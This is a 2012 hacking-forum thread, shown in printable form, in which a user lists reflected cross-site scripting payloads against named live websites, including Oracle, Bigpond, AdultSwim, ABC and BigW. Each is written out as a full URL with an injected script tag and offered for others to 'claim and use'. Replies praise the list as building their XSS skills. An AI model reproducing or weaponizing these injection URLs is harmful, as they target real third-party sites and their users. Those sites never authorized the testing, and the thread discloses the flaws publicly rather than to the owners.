[XSS] Oracle - Bigpond - AdultSwim [More included]

[XSS] Oracle - Bigpond - AdultSwim [More included] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [XSS] Oracle - Bigpond - AdultSwim [More included] (/showthread.php?tid=2397913)

[XSS] Oracle - Bigpond - AdultSwim [More included] - Phizo - Apr 13, 2012

I forgot I saved a list of XSS vulnerabilities I found in big sites, just happened to stumble across it today looking for something.

Anyway, since 90% of HF is mainly interested in XSS now, feel free to claim and use check these out, check out the source code of the pages and learn how I came to the conclusion of a possible XSS vulnerability.

My XSS tutorial: https://hackforums.net/showthread.php?tid=1212236
Okay, so you can do Javascript alerts: https://hackforums.net/showthread.php?tid=2395216 <--- Even though I'm doing the same, I posted these for learning purposes, not trying be 1337 h3k3rz.

They can be found in sites large or small. It just depends where you look and how you look.

Oracle:

Code 
https://hs-ws1.oracle.com/RegistrationWeb/registration/default/en_US/register-login.jsp?legacy=true&tgtPrd=jdk&prd=registration&uuid=urn%3Ast%3A4c6583cb-c0c0-4c8f-9c83-6dfff928ff88&tgtVer=7<script>alert("Phizo")</script>

Bigpond:

Code 
https://signon.bigpond.com/login?status=error&eun="><script>alert("Phizo")</script>

AdultSwim:

Code 
https://login.adultswim.com/services/aswim//flow/login?_flowExecutionKey="><script>alert("Phizo")[b]<!--[/b]

ABC News:

Code 
http://www.abc.net.au/tv/artpost/search.htm?genre=&searchText="><script>alert("Phizo")</script>&srch_type=photo

SMH News:

Code 
http://www.smh.com.au/lifestyle/cuisine/search?text="><script>alert("Phizo")</script>[b]<!--[/b]&cookingTime=&specialOption=

AwardSpace:

Code 
http://otto99.awardspace.com/index.php?dir=config&sub="><script>alert(/Phizo/)</script>

BigW:

Code 
http://www.bigw.com.au/toys/dolls/bpnBIGW_00273765/"><script>alert("Phizo")</script>

* - Prominent - Apr 13, 2012

You might want to include this so it can get more attention : https://hackforums.net/showthread.php?tid=2395216
However, great job brother :)

* - Phizo - Apr 13, 2012

(Apr 13, 2012 07:06 AM)Prominent Wrote: You might want to include this so it can get more attention : https://hackforums.net/showthread.php?tid=2395216
However, great job brother :)

I shall put that in :).
I feel like a hypocrite, since I did the same in a way, however these are big sites.
But I have no intention of causing damage, just trying to help educate users.

* - Eshta - Apr 13, 2012

Amazing share, those definetly aded to my XSS skills, thank you :)

* - Phizo - Apr 13, 2012

(Apr 13, 2012 07:37 AM)Eshta Wrote: Amazing share, those definetly aded to my XSS skills, thank you :)

Thanks :).
Hope it helps you in the future.

* - deiski - Apr 13, 2012

That's a nice list you got there.
Keep up the good work.

* - Phizo - Apr 14, 2012

(Apr 13, 2012 11:35 PM)Cyan Wrote: That's a nice list you got there.
Keep up the good work.

Thanks :).
Funny I forgot I even had it.